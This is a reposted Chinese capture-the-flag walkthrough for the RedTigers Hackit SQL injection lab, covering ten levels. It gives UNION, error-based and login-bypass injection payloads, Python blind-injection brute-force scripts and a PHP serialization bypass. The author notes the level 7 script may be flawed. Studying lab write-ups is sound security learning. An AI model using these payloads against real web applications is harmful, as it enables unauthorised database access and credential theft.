转载

渗透测试演练平台RedTigers Hackit通关Writeup

本文仅供安全研究和小范围学习交流之用,禁止传播

渗透测试演练平台RedTigers Hackit通关Writeup

RedTigers-Hackit是一个训练SQLi(SQL注入漏洞)和PHP方面的网站,地址为 https://redtiger.labs.overthewire.org/ 。废话不多说,我们开始过关之旅吧!

Level 1

普普通通的一个注入关,直接构造语句即可

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

Level 2

题目说,一个简单的密码绕过,那就简单一下试试,sql万能密码

用户名随意密码 ' OR '1'='1

绕过成功

Level 3

尝试出个错误…也是醉了

那我们就出个错瞧瞧~

尝试是否为sqli,但是sql无错误回显,考虑php原因

直到

https://redtiger.labs.overthewire.org/level3.php?usr[0]=a&usr[1]=b

才显示出来一个错误

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21

因为.inc这种文件可以访问,所以我们获得了一部分源码

<?php    function encrypt($str)    {     $cryptedstr = "";     for ($i =0; $i < strlen($str); $i++)     {      $temp = ord(substr($str,$i,1)) ^ 192;      while(strlen($temp)<3)      {       $temp = "0".$temp;      }      $cryptedstr .= $temp. "";     }     return base64_encode($cryptedstr);    }    function decrypt ($str)    {     if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))     {      $str = base64_decode($str);      if ($str != "" && $str != null && $str != false)      {       $decStr = "";       for ($i=0; $i < strlen($str); $i+=3)       {        $array[$i/3] = substr($str,$i,3);       }       foreach($array as $s)       {        $a = $s^192;        $decStr .= chr($a);       }       return $decStr;      }      return false;     }     return false;    } ?> 

在这个文件中,给出了对usr这个参数的加密和解密方式,所以,我们用这个加密方式加密我们的语句,得到最终的POC

https://redtiger.labs.overthewire.org/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjI0

Level 4

点了一下Click me,下面显示了

Query returned 1 rows.

加个单引号变为了

Query returned 0 rows.

所以应该是盲注了

order by 表示有两个column,虽然也没啥用..先来判断长度

https://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword ,1 from level4_secret where length(keyword)=17

一共17个字节,这次肯定不是MD5。。。写脚本,从A-Z a-z 0-9跑一遍,得出最终结果

# -*- coding: utf-8 -*- import requests s = requests.Session() result = "" login = {'password': 'dont_publish_solutions_GRR!',    'level4login': 'Login'} for x in range(1,17):    flag = True    url = "http://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword,1  from level4_secret where SUBSTR(keyword,%d,1)='%s'"    for i in range(ord('a'),ord('z')+1):     if(flag == False):      break     test_url = url % (x,chr(i))     r = s.post(test_url, data = login)     if "2 rows" in r.content:      result = result + chr(i)      flag = False    for i in range(ord('A'),ord('Z')+1):     if(flag == False):      break     test_url = url % (x,chr(i))     r = s.post(test_url, data = login)     if "2 rows" in r.content:      result = result + chr(i)      flag = False    for i in range(ord('0'),ord('9')+1):     if(flag == False):      break     test_url = url % (x,chr(i))     r = s.post(test_url, data = login)     if "2 rows" in r.content:      result = result + chr(i)      flag = False    print result print result 

Level 5

还是登录绕过,禁用了几个函数,而且不是盲注,让我们关注看报错信息

通过最终的结果的行数,判断是否登录成功所以我们的POC

login=Login&password=1&username=' union select 0x61646d696e as username, md5(1) as password #

Level 6

Target: Get the first user in table level6_users with status 1

先查status 1 就是普普通通的注入,没啥难度

POC

https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,1,1,1%20from%20level6_users%20where%20status=1

Level 7

又是盲注,但是这次出在了搜索的位置,限制更加严格,所以我们换个关键字..

所以我们还是和上面某Level一样的思路

再次编程

# -*- coding: utf-8 -*- import requests s = requests.Session() result = "" login = {'password': 'dont_shout_at_your_disks***',    'level7login': 'Login',    'dosearch': 'search!'} for x in range(1,17):    flag = True    url = "http://redtiger.labs.overthewire.org/level7.php"    for i in range(32,127):     if(flag == False):      break     login["search"] = "google%%' and locate('%s',news.autor COLLATE latin1_general_cs)=%d and '%%'='" % (chr(i), x)     r = s.post(url, data = login)     if "FRANCISCO" in r.content:      result = result + chr(i)      flag = False    print result print result 

上面这段代码貌似有点小问题

Level 8

加了一个' 爆出了错误,明显是error base,之后分析构造poc

hans@localhost', name=password, icq = 'q

Level 9

依旧是error base通过一个' 判断注入出现在textarea中,于是构建语句

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

过关

Level 10

只给了一个Login按钮,通过抓包,我们看到了一个base64加密过得json解密得到

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

我也不造这是啥,但是谷歌一下发现有人发这道题的writeup参考一下。。。

然后找到了这个 http://php.net/manual/en/function.serialize.php

,发现只要最后一个password改成boolean True即可…也就是说,这个是用流来保存数据的一个方式,最后的密码位改为布尔型b:1即可过关。

[作者/Jimmy Zhou(安全盒子成员),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]

正文到此结束
Loading...